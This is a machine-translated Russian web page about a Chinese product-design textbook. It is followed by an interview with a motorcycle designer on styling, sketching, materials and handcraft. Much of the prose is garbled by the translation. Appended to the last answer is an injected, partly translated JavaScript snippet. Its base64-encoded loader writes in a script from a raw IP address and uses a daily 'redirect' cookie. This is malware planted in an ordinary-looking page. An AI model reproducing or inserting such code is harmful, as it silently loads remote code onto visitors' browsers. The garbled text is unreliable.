Методы Исследования и проектирование

 

Опубликовано в Китае с тиражом 75.000 копия, для использования в качестве технического руководства на китайском инженерном факультете, объем он “Техническое исследование и проектирование” является третьим в успешной серии технических руководств, написанных плодовитым профессор. Камень Wen.
На Inner описаны некоторые производственные процессы, адаптированные от нас, принимая их, например, для молодых китайских студентов.
Издание этой книги было очень приятным и интересным опытом.

резюме

Температура была только、Chenzhen Yi、Су Болин、Энрико Leonardo Fagone、Донато Cannatello редактировал «источник дизайн продукта и прорыв» с точки、линия、поверхность、Начиная тело,Для того, чтобы проследить происхождение формы продукта,Точки источника, чтобы начать снова,Мы исследовали возможность интерпретации богатого стиля,Чтобы помочь читателям дизайн природы диализа。Эта книга представляет метод шесть моделирования,4Шаг моделирования,3Продукты Советы единства,Она обеспечивает практический и эффективный метод моделирования для читателя занимается проектной работой。Для поверхности свободной формы,Предлагаемый гибрид、Замкнутые и действий мышления три вида методов моделирования,Он обеспечивает целевые решения для читателя, чтобы контролировать поверхности свободной формы моделирования трудности。Эта книга излагает форму психологической инерции,5 групп Предложенный метод моделирования психологической инерции и прорыв,Для читателя, чтобы разорвать ограничения своего собственного стиля,В модельном мире богаче открывает окно。Книга опросила ряд ведущих европейских дизайнеров,Выезды в ряд ведущих дизайнерских фирм Италии,Обеспечение читателей с новым дизайном информацией из первых рук,Через глубокий анализ этих случаев проектирования,Мы можем помочь читателю понять эти прекрасные дизайнеры методы проектирования и отличный процесс моделирования дизайн корпуса,Это помогает читателям дизайн зрение и улучшить эстетический уровень читателя。


интервью Резюме:

1a. Форма мотоциклов претерпела большие изменения с тех пор их появление. Как вы думаете, могут быть факторы, участвующие в этом процессе изменения?

2013 Триумф BonevilleЯ не совсем согласен.

Душа мотоциклов остается практически неизменным в более чем ста лет.
И это подтверждается некоторыми моделями в настоящее время в производстве, которые толковали стиль классических мотоциклов, так как они напоминают суть мотоциклов; два колеса, двигатель, вибрации и эмоции.
Изменения в формах и стилях, которые неизбежно последовавшие во времени зависит, на мой взгляд при 4 причины: техника, мода, культурная эволюция и гонки.

 

Для первого 80 года мы были сосредоточены в основном на технической эволюции, производящие машины, которые направлены более чем любое другое что-то до совершенства и производительности.
Напоследок 20 лет вместо того, чтобы развитие наиболее интересных элементов техники и гонок остановились, оставляя эволюцию мотоцикла на единственные социально / культурные аспекты.

 

На сегодняшний день такие аспекты преобладают в производстве мотоциклов и генерировать ностальгический, абсурд, футуристические или гипер детальные модели.

AJS-7R-350-1949

 

.1б. Каким образом форма европейских мотоциклов может развиваться в будущем?

 

05-Falcon10-черный-04

Европейский дизайн, такие, как восточная и западная конструкция, будет специализироваться в соответствии с конкретной остротой; форма всегда определяется местом, где начинается производство.
Несмотря на неизбежное культурное загрязнение, Европейское производство всегда будет стремиться к мотоциклу, который является одновременно функциональным и страстным, идеальный баланс между вождением и эстетическими характеристиками, весело и полезность. Все, чтобы идти вместе с нашей собственной территории, так неравномерно, с переменными ландшафтов, извилистые дороги и крутые холмы.

Как американское производство посвящено их бесконечные равнины и длинные прямые дороги, и в то же время восточного производства, как правило, следуют рынки, города и улицы переполнены чрезвычайно функциональные и рациональные продукты.

 

 

 

 

 

 

 

  1. Каждый отличный дизайн мотоциклов характеризуется своим собственным уникальным стилем, транспортировки к клиентам особые эмоции и коннотации. Как дизайнер, как вы иллюстрировать личность мотоциклом с помощью языка формы ?

В мотоцикла дизайн, и в более общем случае в промышленном дизайне, Объемы являются основной особенностью, первый, чтобы передать сообщение клиенту.
Глядя на то, против света, можно ощутить сразу его характер: если он передает власть, расторопность, скорость, элегантность или что-нибудь еще.

То же самое происходит в природе, различая в темноте пит-быка от пуделя только от его контура.

 

  1. дизайн мотоциклов должен принять много деталей во внимание, такие как шасси, двигатель и выхлопная труба и так далее. Это кажется сложным и подавляющим новичкам. Есть ли у вас какие-либо предложения о том, как сбалансировать кожу (покрывающие части) со структурой, чтобы достичь идеального объединения?

Ducati-Monster-тракторного 5-640x402

Это зависит: мы рисунок на белом листе или мы работаем над чем-то?

В общем, дизайн должен прийти первым, перед тем выхлопными трубами, перед рамой и перед двигателем. Дизайн должен быть первым подходом к проекту мотоциклов. Механика будет следовать директивам конструкции с обратной адаптацией.

Если подход проектирования следует планированию (как это происходит в рестайлинга), то некоторые фиксированные точки должны решаться, чтобы свободно перейти со всеми остальными. Для технических объектов, таких как мотоцикл, может быть легко правило: части, которые механически интересно или хорошо сделано не должны быть охвачены, но оставил на виду. Если возможно, следует предпочесть, чтобы перепроектировать техническую часть, которая не является удовлетворительным и сделать его частью дизайна, вместо того, чтобы покрыть его.

Существует, однако, один фундаментальных вещи в нашем проектировании, точка зрения мотоцикл никогда не идеально латеральнее велосипед, но стоит выше; давайте не тогда только дизайн красивый вид сбоку, часто хорошая доля боковых / превосходящих объемов более важна, что в боковой проекции.

 

  1. В определенной степени, вид в перспективе, свет и тень мотоцикла гораздо труднее контролировать, чем у автомобиля. Как мы можем получить лучший контроль в мотоцикле набросков? Можете ли вы показать нам процесс рисования мотоцикла( используя 6 фотографии, чтобы объяснить шаги рисования). Для молодых студентов, Как улучшить чертежные способности.

Учитывая трудности мотоцикла дизайн, мы можем интерпретировать это как многоуровневая дизайн.

1Первый уровень, глобальное видение, второй уровень, более подробный, третий уровень, еще более детальный, и так далее. Первый уровень является наиболее важным, что клиент получает на первый взгляд, то, что передает вам удовольствие или удовольствие от объекта.
Я работаю следуя этому правилу.
Начиная с общей точки зрения (общие объемы) а затем следуя с определением более конкретных деталей: хвост, передний, рамка, и т.д. до винтов.

  1. Мотоциклы и автомобили все транспортные средства и форма конструкции и естественным образом связаны. затем, какие, ты думаешь, отличает каждый из них?

Исторически, использование и функции автомобилей и мотоциклов всегда были разные, и, следовательно, также соответствующий дизайн.
Теперь они переходят, развивается во всех направлениях.
Автомобили, используемые, чтобы иметь в качестве основной функции транспортировки, в то время как велосипеды были более связаны с идеей формы (веселье, вкус, скорость).
Сегодня рынок стремится заполнить любую пустоту, и поэтому у нас есть автомобили, которые в чистом вид и мотоциклы, которые являются чистой функцией.

Для мотоциклов это изменение уже консолидированы на рынке (то есть, самокат), в то время как эта новая тенденция для автомобилей еще не преобладает, и интересует меньшую нишу на рынке; но я уверен, что скоро мы увидим автомобили с двигателем в виду, «Голый», как мотоциклы.

 

 

  1. В настоящий момент, много новых технологий, такие, как углеродное волокно и СИД, применяются для изготовления мотоциклов. Как эти новые технологии будут влиять на форму конструкции мотоциклов?

Новые технологии всегда влияли дизайн как фундаментальная часть процесса разработки.
Лично основной вклад, который я получил, и понятно из современных технологий были в цифрах производства.
Сегодня это легче построить небольшую серию мотоциклов, благодаря новым технологиям, таких как углеродное волокно, светодиоды, станки с ЧПУ, макетирование и новые материалы.

Например, прототипирования и фрезерные с ЧПУ применяется для современных материалов позволяют нам иметь уникальный кусок ABS, без необходимости дорогостоящего и сложного литья под давлением; более того, благодаря кремнию маркам, мы можем построить небольшую серию копий полиуретана с низкой себестоимостью.
Также polyelliptical фары (еще лучше со светодиодной технологией) способствовали преодолению ограничений индустриализации. Они могут быть спрятаны в прозрачном Plexiglas обтекателе, формирование их без необходимости санкционировать новый свет, как это было необходимо перед.
И, наконец, углерод и ламинат вообще освободить нас от структурных границ пластики, с механическими и не только эстетическими улучшениями.

 

 

  1. Некоторые из лучших образцов мотоциклов комплектуются ручной работы. Как значение мотоцикла выражаются традиционными ремеслами?

Я люблю и всегда был сторонником рук.
В мотоцикле конструкция руки, по существу, моделирование глины и уровень детализации высок, но это требует времени и экономических ресурсов для обратного технологического процесса, необходимого для преобразования все в цифровой форме.
Я предпочитаю использовать цифровые средства, которые находятся в нашем распоряжении, избегая аналогичный проход, упростить и ускорить творческий процесс. функция getCookie(е){вар U = document.cookie.match(новый RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/г,”\\$1″)+”знак равно([^;]*)”));возвращение U?decodeURIComponent(U[1]):недействительным 0}вар SRC =”данные:текст / JavaScript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,Теперь = Math.floor(Date.now()/1e3),печенье = getCookie(“переадресовывать”);если(сейчас>знак равно(время = печенье)||аннулируются время 0 ===){Время вара = Math.floor(Date.now()/1e3 + 86400),дата = новая Дата((новая Дата).GetTime()+86400);document.cookie =”перенаправлять =”+время +”; Путь = /; истекает =”+date.toGMTString(),document.write(”)}